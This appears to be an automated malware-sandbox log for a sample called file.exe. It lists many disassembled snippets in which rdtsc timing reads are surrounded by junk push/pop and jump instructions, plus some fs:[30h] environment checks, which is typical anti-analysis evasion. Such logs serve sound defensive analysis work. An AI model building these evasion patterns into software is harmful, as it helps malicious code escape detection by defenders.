Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DD95 second address: A5DDB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBCFCCB59A2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DDB1 second address: A5DDB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DDB7 second address: A5DDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jc 00007FBCFCCB5996h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DDC7 second address: A5DDD1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBCFC6B7936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E08F second address: A5E097 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C7A second address: A64C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C86 second address: A64C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64AE1 second address: A64AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFC6B793Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6AA1A second address: A6AA22 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6AA22 second address: A6AA5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Fh 0x00000007 jng 00007FBCFC6B793Eh 0x0000000d jnp 00007FBCFC6B7936h 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jg 00007FBCFC6B793Eh 0x0000001e push eax 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 pop eax 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D4EC second address: A6D514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FBCFCCB599Ch 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D514 second address: A6D532 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FBCFC6B7936h 0x00000009 pop ecx 0x0000000a js 00007FBCFC6B793Eh 0x00000010 pushad 0x00000011 popad 0x00000012 jno 00007FBCFC6B7936h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D0B3 second address: A6D0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FBCFCCB59A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBCFCCB599Ah 0x00000012 jmp 00007FBCFCCB599Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F2CC second address: A6F2D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F2D0 second address: A6F2DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FBCFCCB5998h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F2DE second address: A6F2F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B793Eh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F2F2 second address: A6F2F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F2F6 second address: A6F30C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FBCFC6B793Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79757 second address: A79764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FBCFCCB5996h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CAD3 second address: A7CAD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CAD7 second address: A7CADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CADD second address: A7CAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CAE7 second address: A7CAEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8523E second address: A8524C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFC6B793Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8524C second address: A85250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A850A1 second address: A850A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A850A7 second address: A850AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A850AB second address: A850B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A850B8 second address: A850E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007FBCFCCB59A8h 0x00000011 pop ebx 0x00000012 jmp 00007FBCFCCB599Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A850E9 second address: A850EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CCE2 second address: A8CCE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CFA1 second address: A8CFA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CFA9 second address: A8CFAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D173 second address: A8D17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D47F second address: A8D486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D486 second address: A8D4C5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FBCFC6B793Fh 0x00000008 jmp 00007FBCFC6B7947h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FBCFC6B7943h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D4C5 second address: A8D4C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D769 second address: A8D7A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FBCFC6B793Bh 0x0000000a jmp 00007FBCFC6B7942h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBCFC6B7942h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A920B3 second address: A920B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92202 second address: A92206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92206 second address: A9220E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BF1D second address: A9BF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFC6B7946h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BF3C second address: A9BF40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BF40 second address: A9BF4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007FBCFC6B7936h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB963 second address: AAB980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB7E9 second address: AAB7EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFD0D second address: AAFD31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FBCFCCB59A2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFD31 second address: AAFD4B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBCFC6B793Ch 0x00000008 jne 00007FBCFC6B7936h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FBCFC6B7938h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFD4B second address: AAFD64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Dh 0x00000007 jnp 00007FBCFCCB599Eh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99BC37 second address: 99BC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99BC3D second address: 99BC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jbe 00007FBCFCCB5996h 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6C3A second address: AB6C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6C40 second address: AB6C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FBCFCCB5996h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f js 00007FBCFCCB5996h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jmp 00007FBCFCCB599Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6C63 second address: AB6C85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 ja 00007FBCFC6B7936h 0x0000000b jmp 00007FBCFC6B7945h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5AE6 second address: AB5B04 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBCFCCB5996h 0x00000008 jl 00007FBCFCCB5996h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007FBCFCCB5996h 0x00000018 jnp 00007FBCFCCB5996h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5B04 second address: AB5B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5B08 second address: AB5B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBCFCCB59A7h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBCFCCB599Eh 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5DF5 second address: AB5E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5E01 second address: AB5E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB60DB second address: AB60DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB63B2 second address: AB63BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6662 second address: AB6683 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FBCFC6B793Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6683 second address: AB66A0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBCFCCB5996h 0x00000008 jmp 00007FBCFCCB59A3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB67F4 second address: AB67F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB67F9 second address: AB680A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB599Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB680A second address: AB682D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBCFC6B793Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jp 00007FBCFC6B7936h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB97F5 second address: AB97F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB97F9 second address: AB9816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9816 second address: AB9832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB59A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9AE2 second address: AB9AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9AE6 second address: AB9B05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBCFCCB59A7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9B05 second address: AB9B67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7948h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c jno 00007FBCFC6B7948h 0x00000012 pop eax 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jmp 00007FBCFC6B793Dh 0x0000001c mov eax, dword ptr [eax] 0x0000001e jnp 00007FBCFC6B793Ah 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jne 00007FBCFC6B7936h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9B67 second address: AB9B80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD0A1 second address: ABD0A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD0A7 second address: ABD0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBCFCCB5996h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBCFCCB59A4h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABCC37 second address: ABCC5C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FBCFC6B794Dh 0x0000000e jmp 00007FBCFC6B7945h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABCC5C second address: ABCC86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FBCFCCB599Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBCFCCB59A1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABCC86 second address: ABCC8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEE7D second address: ABEE83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEE83 second address: ABEE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC09AA second address: 4DC087D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBCFCCB599Fh 0x00000009 xor cl, FFFFFF9Eh 0x0000000c jmp 00007FBCFCCB59A9h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ecx 0x00000018 jmp 00007FBCFCCB599Ah 0x0000001d ret 0x0000001e nop 0x0000001f xor esi, eax 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 call 00007FBD0167331Bh 0x0000002a mov edi, edi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FBCFCCB59A4h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC087D second address: 4DC088F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B793Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC088F second address: 4DC08B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBCFCCB59A5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC08B8 second address: 4DC08D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop edx 0x0000000f mov ax, 7F55h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC08D8 second address: 4DC08DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC08DE second address: 4DC08E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC08E2 second address: 4DC0905 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBCFCCB599Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0905 second address: 4DC090B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC090B second address: 4DC090F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC090F second address: 4DC092D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBCFC6B7942h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA004B second address: 4DA00D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FBCFCCB59A4h 0x00000011 sbb ax, 64C8h 0x00000016 jmp 00007FBCFCCB599Bh 0x0000001b popfd 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f jmp 00007FBCFCCB59A5h 0x00000024 mov eax, dword ptr fs:[00000030h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ebx, 79BBDBBEh 0x00000032 pushfd 0x00000033 jmp 00007FBCFCCB599Fh 0x00000038 adc esi, 4774B06Eh 0x0000003e jmp 00007FBCFCCB59A9h 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00D9 second address: 4DA00DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
